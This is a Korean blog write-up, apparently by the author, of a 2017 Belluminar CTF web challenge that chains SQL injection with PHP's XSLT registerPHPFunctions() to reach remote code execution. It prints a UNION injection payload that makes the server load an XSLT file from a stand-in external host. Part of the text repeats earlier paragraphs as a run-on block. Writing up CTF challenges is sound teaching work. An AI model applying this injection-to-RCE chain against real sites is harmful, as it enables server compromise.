2017년 11월 19일 일요일

2017년 11월 9일 목요일

[Belluminar-2017] Color-World-Write-up

Color World
PoC Belluminar 2017 에 출제한 웹 문제다.
당시 여러 기법을 공부하던 도중 XSLT라는 기법을 처음 알게돼서 공부를 하다가 출제한 거 같다.
(참고로 Belluminar 2017 는 정말 좋은 경험이었다고 생각한다.)

문제 컨셉은 XSLT를 취약하게 사용했을 때 RCE가 가능하다는 점을 통해 플래그를 가져오는 문제였다.
그냥 XSLT만 내기엔 문제가 너무 쉽다고 생각해서 SQL Injection과 연계해서 푸는 방향으로 만들었다.
XSLT는 XML문서를 다른 XML문서로 변환하는데사용하는 XML기반 언어이다. (참고)

[*] 핵심 풀이
로그인 페이지를 뚫고 메인 페이지로 오면 (로그인 페이지 우회하는 방법은 발표자료 PDF 참고)
XSLT를 사용해서 페이지의 디자인을 바꿔주는 기능이 있다.
이 때 XSLT 파일을 로드하고 registerPHPFunctions() 라는 함수를 사용하는데
위 함수를 사용하면 XSLT 파일에서 PHP 함수를 사용할 수 있게 된다. (참고)
(<html xmlns:php="http://php.net/xsl"> 라는 태그가 생기므로 위와 같은 사실을 알 수 있다)
그리고 메인 페이지에서 XSLT 파일을 불러올 때 DB에서 XSLT 경로를 가져와 로드하는데
SQL Injection이 가능하므로 XSLT 경로 조작이 가능하다. (XSLT 경로를 가져와 로드한다는 사실은 인젝션을 통해 알 수 있다)
즉, 위 처럼 XSLT 파일을 자신의 웹서버에 생성한 다음 해당 파일을 Union Clause로 불러오면 RCE가 가능하다는 것이다.
Injection Exam : -1' union select '1', 'http://mydomain.com/exploit.xsl

벨루미나 당시에 아쉬운 점이 있다면 벨루미나가 끝나고 문제 풀이 발표 때 실수를 해서 아쉬웠다.
라는 태그가 생기므로 위와 같은 사실을 알 수 있다) 그리고 메인 페이지에서 XSLT 파일을 불러올 때 DB에서 XSLT 경로를 가져와 로드하는데 SQL Injection이 가능하므로 XSLT 경로 조작이 가능하다. (XSLT 경로를 가져와 로드한다는 사실은 인젝션을 통해 알 수 있다) Exploit : https://github.com/munsiwoo/CTF-Web-Prob/blob/master/Belluminar2017/prob/exploit/exploit7.xsl 즉, 위 처럼 XSLT 파일을 자신의 웹서버에 생성한 다음 해당 파일을 Union Clause로 불러오면 RCE가 가능하다는 것이다. Injection Exam : -1' union select '1', 'http://mydomain.com/exploit.xsl Full Write-up : https://github.com/munsiwoo/CTF-Web-Prob/blob/master/Belluminar2017/color-world.pdf 벨루미나 당시에 아쉬운 점이 있다면 벨루미나가 끝나고 문제 풀이 발표 때 실수를 해서 아쉬웠다. 발표 자료가 부실한 점도 있지만, 무엇보다 너무 떨려서,,, , 다음엔 더 열심히 준비해야겠다.
발표 자료가 부실한 점도 있지만, 무엇보다 너무 떨려서,,, , 다음엔 더 열심히 준비해야겠다.